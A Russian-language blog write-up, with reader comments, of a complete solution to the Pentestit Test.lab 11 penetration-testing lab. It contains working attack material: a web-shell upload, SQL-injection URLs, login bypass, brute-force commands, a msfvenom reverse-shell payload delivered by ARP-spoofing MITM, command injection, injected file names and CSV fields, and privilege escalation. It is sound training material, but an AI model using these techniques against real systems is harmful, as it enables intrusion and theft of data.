Пентест-лаборатория «Pentestit Test lab v.11» — полное прохождение



    30-го июня вновь запустилась пентест лаборатория компании Pentestit. Уже много лет эти лаборатории дают возможность проверить себя в роли пентестера в виртуальной компании со своими бизнес-процессами, серверами, сотрудниками и проблемами, узнать и опробовать современные уязвимости и отточить свои навыки в аудитах приложений и пентесте, максимально приближенном к реальному.

    Эта лаборатория уже 11-я по счету. Описания десятой, девятой, восьмой, седьмой и шестой лабораторий тоже доступны, и могут пригодиться в подготовке к участию, если вы этого еще не сделали.

    Как и в прошлый раз, спустя 11 суток лаборатория была пройдена первыми участниками, собравшими 12 токенов, которые подтверждают полное решение очередной задачи, будь то получение доступа в БД, проникновение и повышение привилегий на Linux-сервере или успешное выполнение MiTM-атаки на ноутбук директора виртуальной компании Test.Lab.

    Эта статья описывает все этапы прохождения пентест-лаборатории Test.Lab 11 для всех, кому интересно погрузиться в область пентеста или узнать, как решалась конкретная задача.

    Disclaimer
    Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.

    Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.

    Подключение к лаборатории


    Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании Test.Lab.

    Зарегистрируйтесь здесь, и затем следуйте этим инструкциям для того, чтобы подключиться.

    Для проведения тестирования можно установить в виртуальной машине Kali Linux — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь самое время.

    Начинаем тестирование


    После подключения, нам становятся доступны два шлюза — 192.168.101.10 и 192.168.101.11, за которыми скрывается следующая сеть:


    Собираем информацию


    С учетом того, что в этот раз легенды о каком-либо вымышленном названии компании нет, пассивный сбор информации из открытых источников вряд ли поможет — поиск по «test.lab» даст очень много лишнего. Поэтому перейдем к сканированию портов:



    Из результатов понятно, что нам доступны два сайта (основной сайт компании и CRM, как выяснится позже), почтовые сервисы (доступ к веб почте и SMTP) и SSH на нестандартном порту 2222. Если просканировать все порты, используя ключ -p-, так же можно найти OpenVPN на порту 1194 хоста 192.168.101.10.

    Полезно будет также просканировать UDP порты, однако мы начнем анализировать доступные нам сервисы один за другим.

    В начале пентеста нужно постараться определить максимально реалистичные цели для предстоящей атаки. Так, сразу можно отсечь SSH сервер, который требует аутентификацию по ключу и OpenVPN сервер, ожидающий конфигурационный файл для подключения (хотя для OpenVPN варианты возможны, в случае отсутствия других уязвимостей). Кроме того, на почтовые сервера можно попробовать подобрать пароли к учетным записям сотрудников, но для этого нужно знать имена этих записей или имейлы сотрудников.

    После беглого анализа сайта компании, доступного на порту 80, становится понятно, что он защищен с помощью web application firewall, так как большинство «агрессивных» запросов зарабатывают нашему IP бан на фаерволле на 2 минуты. Перебор директорий, или активное сканирование с помощью утилит вроде Burp Suite приводит к постоянным ошибкам 403.



    Сконцентрируем внимание на CRM системе Vtiger, которая, на первый взгляд, и является тем самым low-hanging fruit, который мы ищем.



    Система Vtiger на первый взгляд не защищена WAF-ом, и при этом версия 6.3.0 содержит в себе уязвимость, предоставляющую нам возможность получить шелл на этом сервере:



    Но, к сожалению, не все так быстро — как видим, для начала необходимо авторизоваться в CRM, так как уязвимость — authenticated RCE. Изучим ее повнимательнее!

    Изучаем CRM


    Не найдя ничего интересного в подкаталогах, и установив себе копию Vtiger 6.3.0 (которую можно скачать здесь) понимаем, что имя пользователя по умолчанию — admin. Попробуем воспользоваться Burp Suite чтобы подобрать пароль.

    В этой статье меньше внимания будет уделено настройке инструментов вроде Kali и Burp Suite, и больше — специфике конкретных заданий в лаборатории. Обзор инструментов выходит за рамки этой статьи, но деталей об этом в сети очень много.

    Настроив Burp Suite на перебор пароля по большому словарю из SecLists (100 тыс паролей), с пользователем admin, получаем нужный пароль:



    И, наконец, заходим в систему:



    Судя по паролю и нику администратора в CRM (обратите внимание на него в правом верхнем углу — еще пригодится при взятии почты), становится понятно что администратор — серьезный фанат Звездных Войн.

    Используем вышеупомянутую уязвимость для загрузки шелла после аутентификации. Для этого переходим на CRM Settings → Templates → Company Details, и редактируем логотип, меняя его на однострочный шелл, предварительно включив перехват трафика в Burp Suite:



    Перехватив запрос в Burp, возвращаем расширение php загружаемому файлу (альтернативой было бы сразу загружать PHP файл, но при этом поменять mime type загружаемого объекта на image/jpeg в Burp Suite). Отдельно нужно отметить, что необходимо убрать вхождения строки «php» в загружаемом шелле, иначе Vtiger CRM отфильтрует такое «изображение» (нам достаточно символов <?):



    Теперь можно походить по серверу в поисках токена с помощью нашего шелла:



    Готово! Первый токен взят.

    Пробираемся внутрь сети


    Как мы помним, после взятия CRM, стало понятно, что администратор, с имейлом admin@test.lab — фанат Звездных Войн. Попробуем зайти в почту как admin@test.lab используя ник администратора из CRM в качестве пароля:



    Нашелся SSH-ключ для пользователя tech:



    С этим ключом удается подключиться к SSH серверу:



    И, таким образом, мы оказываемся внутри сети филиала компании. Подключившись на новый сервер, полезно изучить его со всех сторон, чтобы понять какая информация доступна для дальнейшего продвижения внутри сети либо повышения привилегий. Хороший чеклист того, что нужно обязательно проверить можно найти здесь.

    Изучив, в частности, crontab, выясняем, что здесь есть подключение к OpenVPN. Несмотря на то, что сами скрипты недоступны нам в папке /opt, кое-что полезное извлечь все же можно:



    Таким образом, мы узнаем имя пользователя Office-2, и необходимый для подключения сертификат. Составив на основании этих данных нужный конфигурационный файл (ниже), воспользуемся скриптом для перебора паролей к OpenVPN. Скрипт придется немного поменять для того, чтобы внешний OpenVPN не отключался при каждой попытке.

    client
    dev tun
    proto tcp
    remote 192.168.101.10 1194
    
    auth-user-pass 
    resolv-retry infinite
    persist-key
    persist-tun
    comp-lzo
    verb 3
    
    <ca>
    -----BEGIN CERTIFICATE-----
    MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV
    BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE
    ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu
    bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0
    NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG
    TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT
    EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3
    DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS
    48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7
    Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR
    C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM
    kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd
    HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w
    HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO
    p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT
    Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG
    A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh
    c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB
    AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/
    /fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb
    hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp
    b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr
    awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ
    vwj14awsaPvMoIgk8C8Zrkuu
    -----END CERTIFICATE-----
    </ca>
    

    Подбираем пароль с использованием небольшого словарика по мотивам starwars (ведь администратор — фанат, как мы уже поняли):



    И затем успешно подключаемся к внутреннему VPN, после чего нам становится видна подсеть 172.16.0.0/24, отображенная на схеме сети выше.

    Атакуем SITE


    После получения доступа во внутреннюю сеть, и проведения сканирования с помощью nmap, обнаруживаем на 172.16.0.11:80 тот же сайт, что был доступен снаружи, теперь без защиты WAF-ом. Немного изучив исходный код страницы, становится понятно, что перед нами Wordpress версии 4.8, в котором тут же бросается в глаза плагин kittycatfish, уязвимый к SQL инъекции, по адресу /wp-content/plugins/kittycatfish-2.2/.



    В описании эксплоита указано, что Инъекция находится в файле base.css.php, в параметре kc_ad. Поищем его на GitHub:

    $kc_ad = $_GET['kc_ad'];
    $kc_ad_meta = kittycatfish_ad_get_meta($kc_ad);
    

    После изучения kittycatfish.php становится понятно, что в CSS добавляется значение kc_ad_css, и, соответственно, инъекция может выглядеть следующим образом:

        http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version)
    



    Версия получена. Теперь получим название таблицы:

    http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1)
    

    И наконец токен в имени колонки:

    http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1)
    



    Готово! Кстати, все hex значения получены следующими командами:

    $ echo -n kc_ad_css | xxd -p
    6b635f61645f637373
    $ echo -n tl_token | xxd -p
    746c5f746f6b656e
    

    Токен RDP


    Вернемся на некоторое время в сеть филиала «The Second Office», которая стала доступна нам благодаря подключению к SSH: компьютеры 192.168.13.1-3, и просканируем доступные порты (так как они не отвечают на ping, нужно использовать ключ -Pn):



    Найдя RDP, попробуем подключиться к нему, предварительно пробросив нужный порт, используя ~C — командную консоль SSH-клиента:



    В Remote Desktop есть такая особенность, которая позволяет узнать список пользователей на компьютере, если не передать никакое имя пользователя при подключении. Сделаем это с использованием xfreerdp:

    xfreerdp /v:127.0.0.1 -sec-nla /u:""
    



    Получив имена пользователей, воспользуемся crowbar, чтобы подобрать пароль — для RDP, в моем опыте, он всегда работает лучше чем Hydra или Medusa:



    После успешного подбора пароля, попадаем на RDP:



    Не найдя ничего интересного у пользователя arm554 продвигаемся дальше. Попробуем повысить привилегии, используя ms16_032, как описано, например, в этом видео:

    xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit
    

    Скопировав MS16-032.ps1 из Exploit DB, получаем права администратора:



    После чего, используя следующие команды создаем нового административного пользователя:

    net user user1 <your_password> /add
    net localgroup administrators user1 /add
    

    Зайдя под user1, мы получаем доступ к папке user, в которой можно найти токен, а заодно и, по всей видимости, хеши паролей пользователей armXYZ, из которых не удален, судя по файлам, только arm554.



    Эта информация пригодится нам в дальнейшем, для взятия AD, к чему мы и приступим.

    Помимо машины 192.168.13.1, в филиале можно найти подходящие пароли к пользователям «user» на машинах 192.168.13.2 и 192.168.13.3 используя словарь, больший чем john.txt.

    Pass-the-hash в AD


    После получения на RDP и извлечения хеша, получаем возможность атаковать Active Directory, которая, согласно схеме сети, находится на 172.16.0.10. Сканирование портов только подтверждает, что это контроллер домена (а заодно и его название — TEST.LAB):



    Воспользуемся модулем kerberos_enumusers из Metasploit, чтобы подтвердить существование arm554, используя Kerberos:



    С учетом того, что установлен Windows 2012, попробуем выполнить pass-the-hash через SMBv3:



    Получив список доступных shares, попробуем обратиться к files:



    Получен токен, и файл network_test.txt со следующем содержимым:

    Hi, mate! Need to test ARP-table in DIR subnet.
    I'll install intercepter <логин и пароль к серверу в сети DIR>
    

    К этому серверу у нас еще нет доступа, так как сначала нужно получить доступ к роутеру 172.168.0.252, указанному на схеме сети. Поэтому продолжим изучение подсети 172.16.0.0/24.

    Токен CUPS


    На 80-м порту машины 172.16.0.14, отображенной на схеме сети как CUPS, находим следующую страницу:



    Административная панель ведет на адрес, закрытый basic-аутентификацией, тогда как local storage отображает, по всей видимости, самописное веб-приложение, с логин формой. Попробовав несколько базовых паролей, предполагаем наличие SQL инъекции, и входим в систему с такими данными:

    admin
    admin' or 1=1 -- -
    

    После этого, нам становятся доступны сканы, сделанные в системе. Среди прочего, находим приватный ключ для подключения к роутеру, скрывающему от нас последнюю часть сети:



    Потратив внушительное количество времени, чтобы разобрать каждый символ и правильно перенабрать его с изображения, удается подключиться к роутеру с именем morgan:



    Воспользуемся sshuttle для удобного проброса портов в подсети 192.168.10.0/24, 192.168.11.0/24 и 192.168.12.0/24:



    Man-in-the-middle в DIR — получаем доступ к компьютеру DIRECTOR


    Просканировав сеть DIR и используя найденные на AD логин и пароль, подключаемся к 192.168.12.2 через RDP, и находим Intercepter в папке Soft, как и упоминалось в информации с контроллера домена:



    Для начала, попробуем сделать ARP poisoning внутри подсети и посмотреть, не общаются ли между собой 192.168.12.1 (машина директора) и 192.168.12.3 (машина с веб-сервером на порту 80). Для этого просканируем сеть:



    После того, как нужные машины найдены, выполним настройки как показано на скриншоте:



    В данном случае, несмотря на то, что 192.168.12.3 — не шлюз, мы ставим в качестве шлюза именно его, потому что нас интересуют не коммуникации машины директора с внешней сетью, а коммуникации внутри этой подсети. Intercepter-NG будет отвечать машине 192.168.12.1 что он 12.3, и машине 12.3, что он 12.1. После этой настройки, перейдем на вкладку raw packets, и поставим Pcap-фильтр «port not 3389», чтобы исключить пакеты по RDP, которыми мы постоянно обмениваемся с машиной 12.2:



    После этого, необходимо запустить sniffing, NAT и ARP poisoning для осуществления атаки:



    В скором времени видим, что директор пытается загрузить quake3.exe с веб-сервера 192.168.12.3, но получает ошибку 404.


    Исправим эту досадную ситуацию, сгенерировав reverse shell payload с помощью следующей команды:

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe
    

    После того, как файл загружен на RDP сервер, настроим внедрение этого файла в HTTP ответ. Для этого включаем SSL Strip (хотя файл и скачивается не по SSL, это нужно чтобы включить MiTM в Intercepter):



    Затем настраиваем внедрение, выбрав загруженный нами «поддельный» quake3.exe:



    Затем запускаем netcat listener, и разрешаем его через firewall:



    И, наконец, включаем ARP poisoning снова, чтобы внедрить quake3.exe в ответ от веб-сервера, и тут же получаем шелл:



    В документах находим SSH-ключ, и наш очередной токен!



    Кроме того, поизучав сам 192.168.12.2, можно найти файл todo, который пригодится в дальнейшем:



    Благодаря найденному ключу, мы можем попробовать зайти на машину 192.168.11.1, к которой теперь у нас есть и доступ через роутер (ключ к которому был найден в CUPS), и ключ remote, найденный на машине директора.

    Переход в сеть ADMIN


    При подключении к 192.168.11.1 c использованием ключа remote, получаем форму, которая пробрасывает нас на другие компьютеры в сети (а именно, Srv1 = 172.16.0.16, с использованием пользователя aengineer и сохраненного ключа, или Srv2 = 192.168.10.1, так же с использованим логина aengineer).



    Что-то подсказывает, что здесь есть command injection, и мы сможем выбраться за пределы этого скрипта и попасть на сам 11.1. Попробуем это сделать, используя стандартные разделители команд, такие как ;, |, & и другие:



    Срабатывает точка с запятой! Консоль «застывает» на несколько секунд, если добавить sleep. При этом, если вместо Srv1 или Srv2 написать что-то другое, видим, что мы получаем сообщения из STDERR, тогда как вывод команд, которые выполняются успешно, скрыт. Попробуем перенаправить стандартный вывод на STDERR чтобы получить вывод результатов:



    Работает! Теперь, используя эту технику получим полноценный шелл:



    В папке /opt/gh находится скрипт, который запрашивал имя сервера. Как можно увидеть, в нем действительно есть command-injection уязвимость (а заодно и фильтр на bash, который мы обошли с помощью dash). Изучив этот сервер, единственная полезная информация — это ключ aengineer, с которым мы подключались на 172.16.0.16 и 192.168.10.1, который можно скопировать:



    Таким образом, мы смогли попасть в сеть admin.

    Получаем CONNECT


    Подключившись к 192.168.10.1 как aengineer, вспоминаем, что файл, найденный на 192.168.12.2, упоминал FTP подключение к серверу на 192.168.10.1 на порту 2020. На всякий случай, попробуем включить netcat listener на этом порту:



    И обнаруживаем, что действительно сервер получает коннект, однако дальше ничего не происходит. Так как подключение FTP — логично предположить, что подключившаяся сторона ожидает приветствия от FTP сервера прежде чем авторизоваться. Сэмулируем это с помощью простой команды:



    Токен получен!

    Подслушиваем CLOUD


    Продолжая находиться на 192.168.10.1, можно заметить, что от пользователя aengineer на этой машине разрешено делать tcpdump. Обычно такая конфигурация требует привилегий root, но здесь было, видимо, настроено иначе. В целом, на любой машине полезно проверять возможность записи трафика, так как он может рассказать много интересного. Сделаем это следующим образом:



    После чего, открыв файл в Wireshark, можно найти трафик между 192.168.10.2 и 192.168.10.3 (CLOUD), следующего содержания:



    Как видно, мы нашли пароль пользователя user к cloud-серверу. Попробуем зайти:



    Получилось! Найден keepass-store с названием my_store.kdbx. Воспользуемся утилитой keepas2john чтобы извлечь хеш, и попробовать подобрать пароль:



    Настраиваем hashcat, и находим пароль:



    На картинке специально размыты только последние 4 символа пароля, для облегчения подбора. Пароль присутствует в словаре rockyou.txt. Теперь достаточно ввести этот пароль в keepass, и получить токен CLOUD!

    Используем CLAMAV


    Просканировав 192.168.11.5, находим сервис sendmail, в котором, вероятно, и есть Clamav. Проверим догадку с помощью соответствующего эксплоита. Пришлось потратить некоторое время, прежде чем стало ясно, что бекконнект через reverse shell работает только на 192.168.10.1
    :

    Получили шелл! Но токен, пока еще, не доступен. С учетом того, что на машине присутствует нестандартная для этой сети конфигурация в виде установленного ossec, возникает подозрение, что необходимо проэскалировать привилегии. Для этого, поищем эксплоиты на ossec:



    Самый вероятный эксплоит под номером 37265 — последний доступный local root exploit на сегодняшний день. Для эскалации необходимо сделать следующее:

    1. Создать файл с именем «foo-$(chmod 777 etc)» в домашнем каталоге /home/clamav (мы не можем использовать слеши, и команды ossec выполняются в корневой директории — при желании обойти это ограничение можно через cd)
    2. Отредактировать этот файл и создать еще один в том же каталоге
    3. Когда нужные права на папку etc будут установлены, удалить файл passwd, а затем создать нужный нам с еще одним пользователем с ID 0 и известным паролем
    4. Сделать su к этому пользователю

    В нашем же случае, как выяснилось, достаточно прочесть содержимое директории root, что мы и сделаем:



    Токен clamav получен. По завершению стоит вернуть права на директории на место, чтобы не испортить прохождение другим участникам.

    Токен ACCESS CONTROL


    Подключившись как aengineer к машине 172.16.0.16, обнаруживаем следующее:



    Токен доступен только от пользователя www-data, при этом не доступен через web-сервер из-за строгих permissions. После изучения исходного кода ftpclient.py, login.php и parse.php, становится понятно следующее:

    1. Чтобы войти в систему, достаточно перейти по адресу 172.16.0.16/parse.php?auth=asdfgtgrfedQWERsdfd
    2. Файл parse.php отображает данные из db.csv, который периодически загружается с сервера FTP 172.16.0.17 с помощью ftpclient.py и учетных данных, указанных в нем
    3. Загрузка выполняется от имени root, поэтому поменять файл на клиенте нет возможности
    4. Внутри файла parse.php выполняется конвертация даты из db.csv в другой формат, при этом присутствует command injection уязвимость


    5. Токен доступен исключительно на чтение от пользователя www-data.

    Таким образом, чтобы проэскалировать привилегии до www-data, нам необходимо внедрить нужную команду в файл db.csv:

    Name;Surname;In;Out;ID
    Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611
    

    Из ftpclient.py можно извлечь логин и пароль к FTP серверу на 172.16.0.17, но, к сожалению, файл db.csv на нем доступен нам только для чтения, поэтому заменить его нет возможности. На этом этапе полезно вспомнить, что у нас уже есть SSH-ключ пользователя aengineer, извлеченный из 192.168.11.1 — попробуем зайти под ним:



    Это сработало! И теперь, как видно из прав доступа, у aengineer есть возможность писать в db.csv. Обновив файл вручную замечаем, что он постоянно обновляется из какой-то БД. Чтобы обеспечить постоянную доступность нового файла, пишем небольшой цикл на bash:

    while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done
    

    И вот, файл db.csv обновлен уже на 172.16.0.16!



    Теперь заходим на страницу parse.php, чтобы выполнилась команда из db.csv:


    Теперь мы можем прочесть токен!



    Затем, возвращаем предыдущие права 400 файлу token.sec таким же способом, чтобы не испортить прохождение другим участникам лаборатории. Еще один токен взят.

    Магический HELPDESK


    Как можно заметить, в этой лаборатории есть несколько машин, которые либо не представляют интерес, либо практически неуязвимы — это делает лабораторию еще ближе к реальной сети, где не каждый компьютер в сети имеет уязвимость. Поэтому важно продолжать сканирование сети с целью постоянного поиска новых сервисов.

    Так, просканировав 192.168.11.3, находим открытый 80-й порт, на котором поднято приложение Ticket service, или HELPDESK:


    Поискав скрытые директории с помощью dirsearch, находим папки /admin (закрыта basic-аутентификацией), /_admin с копией файла login.php, /templates с файлом head.html, и несколько менее интересных папок вроде fonts и css.

    Изучив приложение, можно заметить, что при переходе на различные страницы внутри, от нас требуется авторизоваться под разными пользователями — от user до oper_1/2 и admin — очевидно, нашей главной цели.

    Несмотря на то, что параметр cat в URL намекает на уязвимость типа Local File Inclusion, исходя из неудачных попыток и файла /templates/head.html можно сделать вывод, что эта уязвимость отсутствует. Кроме того, проверив SQL- и NoSQL-инъекции, и несколько других уязвимостей, решаем попробовать подобрать пароли к указанным пользователям: admin/user/oper_1/oper_2, а также пользователям, упомянутым в тикетах:


    Используя Burp Suite таким же способом, как и с CRM, только в режиме Cluster Bomb, удалось подобрать пароли user/password и oper_2/oper_2, но, к сожалению, ни один из них не подходил для входа под пользователем admin. Кроме того, надежда, что формы редактирования или удаления тикетов станут доступны, и удастся найти какие-либо уязвимости в них — исчезла.

    На мой взгляд, этот токен был самым сложным и интересным в лаборатории. Перед нами веб-приложение с всего двумя точками ввода: /login.php и /_admin/login.php, ни одна из которых не содержит уязвимостей, которые можно выявить невооруженным глазом.

    После изучения тикетов, обращаем внимание на то, что авторы приложения по легенде исправили какие-то проблемы в хешировании. Поискав php hash vulnerability находим ключ к решению — Magic Hashes. Эта статья достаточно детально описывает суть уязвимости (версия на русском также доступна), поэтому я не буду повторять детальное описание здесь.

    Уязвимость заключается в том, что из-за PHP type juggling может случиться ситуация, когда разные хеши (будь то MD5, SHA1 или другие) от разных паролей окажутся равны из-за автоматического приведения типов.

    Попробовав приведенные в статье хеши в качестве паролей к пользователю admin на обеих страницах login.php, после долгих попыток приходит понимание, что, возможно, хеш берется от username + password. Тогда, чтобы не искать новый хеш удовлетворяющий требованиям, пробуем «разбить» MD5 и SHA1 хеши на две части, и заходим под admin c помощью такой ссылки:
    http://192.168.11.3/_admin/login.php?login=10932&password=435112.

    Наконец, становится доступной вкладка Removed Tickets, где нас и ожидает долгожданный токен HELPDESK, вместе с паролем от SSH для получения токена SCREEN:


    Поднятие привилегий на SCREEN


    Получив пароль к SSH-серверу из HELPDESK, мы можем зайти и осмотреться:



    Но, к сожалению, не далеко — мы ограничены шеллом restricted bash (rbash), который запрещает выходить в общую файловую систему и использовать слеши в командах. Обычно, выйти из restricted bash можно довольно просто, например так:



    Осмотревшись в основной системе, видим что токен находится в /home/tester/token, но прав на его чтение у нас нет. Кроме того, на машине присутствует запись в cron, которая выполняет следующий скрипт:



    Вот исходный код скрипта:

    #!/usr/bin/perl -w
    
    if (!-l $ARGV[0] && -f $ARGV[0]) {
    
    	open $file1, $ARGV[0];
    	$fname = <$file1>;
    	chomp($fname);
    
    	open ($file2, $fname) or die("$!");
    	open $file3, '>>', "/tmp/testlog";
    	$line = <$file2>;
    
    	chomp ($line);
    	print $file3 $line, "\n";
    
    	close $file2;
    	close $file3;
    	close $file1;
    	unlink($ARGV[0]);
    
    	sleep(1);
    	open $file1, '>', "/tmp/testlog";
    	close $file1;
    
    }
    else {
    	exit(0);
    }
    

    Как видно из скрипта и параметров запуска, он получает имя файла для прочтения из файла в /build/log/, открывает этот файл и выводит содержимое в /tmp/testlog, после чего удаляет обработанный файл в /build/log и ждет одну секунду, в течение которой содержимое файла будет доступно. Так как команда выполняется от имени пользователя tester, мы можем эксплуатировать это для того, чтобы извлечь значение токена. Единственное, что осталось сделать — это создать файл в /build/log/, куда у нашего пользователя john доступа, к сожалению, нет. Попробуем это исправить.

    В папке /build также находится screen, в котором установлен бит SGID, что означает, что screen будет выполнен от имени группы utmp:



    При этом, в папку /build/log можно писать от имени группы utmp. Используя ключ -L в команде screen можно создать такой файл:



    Как видим, файл был создан успешно от имени пользователя john. Включаем права на запись в этот файл для john, и вносим туда путь к файлу, который хотим прочесть, а затем запускаем вывод лог-файла в цикле:



    Итак, последний токен SCREEN получен!

    Весь материал здесь представлен исключительно в образовательных целях, поэтому ваши комментарии по прохождению лаборатории приветствуются — пусть как можно больше людей узнают о разных способах решения той или иной задачи.

    Тем, кто еще не успел пройти лабораторию и испытать радость взятия каждой машины в сети, желаю удачи.

    Спасибо Pentestit за интересную, сложную и реалистичную лабораторию! Спасибо читателю, что дошли до этого момента.

    До встречи на новой лаборатории!
    Pentestit 182,81
    Информационная безопасность
    Поделиться публикацией
    Комментарии 41
    • +1
      Алексей, поздравляю с заслуженной победой в лаборатории!
      • +2
        Спасибо! И отдельное спасибо за саму лабораторию :)
      • +1
        Читал с большим интересом, спасибо за детальный разбор!
        • +1
          Поздравляю с победой!

          А у CRM был интересный подкаталог — Migrate, где можно было брутить без токена. А судя по чатику многие новички зависли именно на этом.
          • 0
            Спасибо за дополнение. Да, тогда запрос для поврота и форма выглядели бы вот так:

            • +1
              А, еще вспомнил — в AD на юзера administrator пароль такой же, как на user на машинах 192.168.13.2-3. Его легко подобрать словарем rockyou.
          • 0
            Интересно, если бы на всех ПК просто работало автообновление, насколько далеко смогли бы продвинуться пентестеры.
            • 0
              Много уязвимостей связаны с неправильной конфигурацией, MiTM или собственными веб-разработками, но, конечно, некоторые вещи (как повышение привилегий на RDP) серьезно затруднили бы возможность попадания на некоторые машины.
            • +1
              А я сайт брал после заливки в CRM, написал скрипт для локального доступа из шела к сайт и потом скормил его sqlmap по ссылке
              http://192.168.101.10:88/cron/p.php?kc_ad=16

              сам код скрипта p.php:

              <?
              echo system("wget -qO- 'http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=".$_GET['kc_ad']."'");
              ?>
              
              • 0
                Отличное дополнение, спасибо! Кстати, альтернативное прохождение с использованием SQLmap тоже будет интересно.

                Еще можно воспользоваться инструментами вроде reDuh или reGeorg, чтобы организовать туннелирование через HTTP, и тоже попасть на сайт.
                • 0
                  image
                  а вот в этих местах, как альтернативное решение, можно было бы попробовать через почту пробиться, возможно помогло бы значительно время сэкономить.
                  • 0
                    Да, попытки такие, конечно, были, но, насколько я знаю, в эти эккаунты никому попасть не удалось
              • 0
                Почему-то не брутфорсится вход с crm, я даже нашел ваш список 100к паролей и выудил оттуда пароль под номером 44332, это должен быть
                Пароль
                bornfree
                , в систему все равно не заходит. Хочу пройти лабу сам(прочитал только начало статьи), но вот так вот запороться на брутфорсе обидно.
                • 0
                  Это не тот пароль — Burp не всегда по порядку нумерует запросы когда они идут в ста параллельных потоках. Можно сравнивать по размеру ответа от сервера (HTTP response) — для нужного пароля он будет отличаться.

                  Но в целом — он и правда в диапазоне 44300–44400.
                  • 0
                    К сожалению, ни hydra, ни burp все равно не находят пароль, прошу помощи. Вот параметры гидры, убирал из запроса __vtrftk и возвращал его, ничего менялось.
                    код
                    hydra -l admin -P 100passes.txt -o hydra.log -V 192.168.101.10 -f -s 88 http-post-form "/index.php?module=Users&action=Login:username=^USER^&password=^PASS^:Invalid" -t 16
                    


                    Так же в бурпе добавлял куки, тоже не помогло.
                    • 0
                      Попробуйте параметр в гидре -t 16 поменять на -t 1
                      • 0
                        А можете показать скриншот конфигурации Burp Intruder? Еще как писали выше, можно попробовать аутентификацию в папке /migrate.
                        • +1
                          Ну, во-первых, как я писал выше прощебрутить подпапку /migrate, там нет токена.
                          Во-вторых, бурпом, конечно, проще формы с токеном брутить, но уметь настроить надо.

                          А для гидры, нужно создать в консоли переменную, в которую парсится значение токена:
                          CSRF=$(curl -s "192.168.101.10:88" | awk -F 'value=' '/__vtrftk/ {print $2}' | cut -d '"' -f2)
                          

                          Затем подставлять в гидре:
                          __vtrftk=${CSRF}
                          

                          Должно работать)
                          • 0
                            Попробуй сократить список паролей, оставив по 50-100 от bornfree с каждой стороны, и убрать у гидры параметр -t
                            • 0
                              Hello, for me this command line works fine:
